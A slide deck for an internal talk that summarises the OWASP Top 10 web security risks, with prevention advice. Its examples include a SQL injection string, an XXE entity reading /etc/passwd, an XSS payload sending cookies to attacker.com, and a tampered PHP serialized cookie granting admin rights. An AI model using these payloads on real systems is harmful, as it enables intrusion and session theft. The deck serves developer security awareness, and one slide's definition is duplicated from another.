Review on the
TOP 10 OWASP
Who am I to speak such term ?
My name is Kevin Nadin - @kevinjhappy
I work at Darkmira, a company full of good guys like you, and you, and.... hum not you...
I'm a backend developer using PHP / Zend Framework
My dream is to rule the world, and so should be yours
- Small ESN that promote industrialization and security
- Sponsor in PHP ecosystems
- Organize the Darkmira Tour in Brazil, biggest PHP community event in this country
- We are looking for new talents ;)
What is "OWASP" ?
First of all, Wasp is... une guêpe ;)
And O is for... I don't know
- This is the Open Web Applicavite Security Project, an open community dedicated develop and maintant API that can be trusted
- www.owasp.org
- Their most famous work is a documentation listing the top 10 security risks
What we will see
- A1: Injection
- A2: Broken Authentication
- A3: Sensitive Data Exposure
- A4: XML External Entities (XXE)
- A5: Broken Access Control
- A6: Security Misconfiguration
- A7: Cross-Site Scripting (XSS)
- A8: Insecure Deserialization
- A9: Using Components with Known Vulnerabilities
- A10: Insufficient Logging&Monitoring
Everything is already written, naath ?
- In those slides I will only resume each point
- This does NOT replace reading the full Pdf, but give you a good global view
- Therefore after this lunch, GO READ THIS ;)
Insecure software calls to critical failure in the buisness
With the sofware being complex, apply security increase exponentially
The goal here is to raise awareness about your applications
How are we attacked ?
A1: Injection
This one is n°1 every year !
- Injection flaws just like SQL, NoSQL, LDAP injection come when untrusted data are processed by the applications comming from a form or a query
- Can result in data loss, granted access, and technical damages.
- Very Exploitable, Easy Detectable, big technical damages
How to prevent it ?
- Seperate datas from queries
- Prepare SQL queries and check external datas with filters
- Escape specials characters from form results
- Use Safe API with external exchange, for exemple use signature with private key
- Use LIMIT and other SQL controls to prevent mass data loss
Exemple
An application uses untrusted data in the construction of the following vulnerable SQL call:
$query = "SELECT * FROM accounts WHERE custID='" + request.getParameter("id") + "'";
The attacker modifies the ‘id’ parameter value in their browser to send: ' or '1'='1. For example
http://example.com/app/accountView?id=' or '1'='1
A2: Broken Authentication
Definition
- if attackers have access to millions of username / password combinations, he can brute force logins
- He can also use dictionnary attack
- If few basics or one admin account is granted, damages can be technically strong
- Lead to company bad reputations in customer's point of view
How to prevent it ?
- Implement multi-factor authentication
- Not default admin credentials in prod => avoid "root/root" or "admin/admin" please !!
- Implement weak password check
- Check password with the top worst password (online API)
- Limit failed login attemps with a captcha or a cool time of 15min for exemple
A3: Sensitive Data Exposure
Definition
- if attackers have access to millions of username / password combinations, he can brute force logins
- He can also use dictionnary attack
- If few basics or one admin account is granted, damages can be technically strong
- Lead to company bad reputations in customer's point of view
How to prevent it ?
- Classify and indentity sensitive data, processed and stored
- Encrypt data in transit like in TLS
- Don't store unnecessary sensitive datas, the datas you don't have cannot be stolen. And if you are not PCI Compliant, no credit cards even in 123456.1234 format
- Use strong crytho algorythm, no md5, sha1, and old stuff like this, in php password_hash is secure enough and is kept secure
A4: XML External Entities (XXE)
Definition
- Attackers upload XML or include parts in existing XML to exploit source code
- This can be used to extract data, execute remote request, scan servers,
- If your application use SOAP protocol, this use XML parameters, and without check of those params, attackers can send bad datas
How to prevent it ?
- If possible, use JSON instead of XML
- Upgrade all XML processors, Update SOAP to >=1.2
- Implement whitelist server-side input validation
- Validate the XML file using XSD validation
- SAST tools can detect XXE vulnerability in source code, although manual code review is always the best
Exemple
The attacker attempts to extract data from the server by uploading a malicous XML file:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>
A5: Broken Access Control
Definition
- Attackers exploit access control weaknesses, and become an user or an admin and make damages
- Once connected he can create, access datas, update or delete every record
- Users should not be able to act outside his perimeter, too many granted privileges on a user can grow the damages made by the attacker
- Attacker can also bypassing access control by modifying the URL if access are not secure enough
How to prevent it ?
- Deny by default every incomplete access
- Implement access control and re-use them during throughout the application
- Unique application with access limitation, idealy one access per user per application
- Log access control failure, alert admins when appropriate
Exemple
The application uses unverified data in a SQL call that is accessing account information:
pstmt.setString(1, request.getParameter("acct"));
ResultSet results = pstmt.executeQuery( );
An attacker simply modifies the 'acct' parameter in the browser to send whatever account number they want.
http://example.com/app/accountInfo?acct=notmyacct
A6: Security Misconfiguration
Definition
- Attackers will exploit unpatched flaws, use default accounts and unprotected files
- It can happen in many side : web server, application server, databases, framework, default virtual machines
- This attack can result to unauthorized access to data, leading to system compromise
How to prevent it ?
- Controlled and secured installation needed
- Be able to deploy locked down application in a fast & easy way to be able to patch your application in short time. Best is to automize the setup
- A minimal platform without unnecessary features or unused frameworks will reduce security flaw
- A segmented application architecture will provide secure separations
- Automatic process to verify efficient configuration in all environments
A7: Cross-site Scripting (XSS)
Definition
- Attacker inject some contents in web pages, which will provoke actions on web navigator using the page
- include session stealing, unwanted download, key logging
- Reflected XSS : unvalidated user input as part of HTML will open an injection with malicoius link on the victim browser
- Stored XSS : store unsanitized user input that can be seen bu another user or attackers
- DOM XSS : Javascript or single page API that dynamically include unsafe data are vulnerable
How to prevent it ?
- Using JS Framework that automatically escape XSS by design, like React JS
- Escaping untrusted HTTP request data based on context
- Applying context-sensitive encoding when modifying on the client side
- Enabling a content Security Policy (CSP)
Exemple
The application uses untrusted data
$page += "<input name='creditcard' type='TEXT'
value='" + request.getParameter("CC") + "'>";
The attacker modifies the ‘CC’ parameter in the browser to:
'><script>document.location=
'http://www.attacker.com/cgi-bin/cookie.cgi?
foo='+document.cookie</script>'.
This attack causes the victim’s session ID to be sent to the attacker’s website, allowing the attacker to hijack the user’s current session.
A8: Insecure Deserialization
Definition
- Difficult to exploit
- But can lead to remote code execution attacks that can be very damageable
- Serialization can be used in Caching, Databases result, HTTP cookies, API authentication tokens
- Retrieve the serialized customer datas and change them to send them back can grant new rights
How to prevent it ?
- Best way is to reject any serialized object from an untrusted source
- If not possible :
- Implement integrity check
- Enforce strict type constraints during deserialization and before object creation
- Log deserialization exception and failure
- Restrict or monitor incomming and outgoing network that deserialize
Exemple
A PHP forum uses PHP object serialization to save a "super" cookie, containing the user's user ID, role, password hash, and other state:
An attacker changes the serialized object to give themselves admin privileges :
a:4:{i:0;i:132;i:1;s:7:"Mallory";i:2;s:4:"user"; i:3;
s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}
a:4:{i:0;i:132;i:1;s:7:"Alice";i:2;s:4:"admin"; i:3;
s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}
A9: Using componets with Known Vulnerabilities
Definition
- Attackers use common known vulnerabilities on your componants
- If you do not know the version of your components with dependencies, and the weak point of them, it is a risk
- Also an attack can occur if on unsupported or out-of-date components
How to prevent it ?
- Update your components
- Remove unused dependencies
- Inventory components vesions and monitor
- Always get source from official sources with secure links
- Test the updated components
- make regular scan for known vulnerabilities
A10: Insufficient Logging & Monitoing
Definition
- Attacker achieve his goal without being detected
- Insufficent logging, detection, monitoring
- No logs for suspicius activity / no triggering alert for system intrusion
- Logs are only local, son can be on the server that have been hacked and therefore might have been destroyed
How to prevent it ?
- All login, access control failures, input validations are logged to identify the attacker
- Logs can be exploited by a centralized log management solution
- Ensure high value transactions have audit trail
- Create an incident response and recovery plan (PCA)
For developpers
Producing a secure web app is not easy
- You need to define what "secure" means for your app
- It is far more effective to design security from the start of your application instead of adding it at the end
- Build strong and usable security control by using set of standard security control
- Identify the sensitive datas you can have, it will allow you to focus your security, not all datas are sensitive
- Take a good care with code review
Others Documentations
- For code review and if you are brave enough, here is the 220 pages OWASP code review guide
- Test your app with this OWASP proxy attack program
Review on the TOP 10 OWASP
By Kevin JHappy
Review on the TOP 10 OWASP
For Brown Bag Lunch use
- 543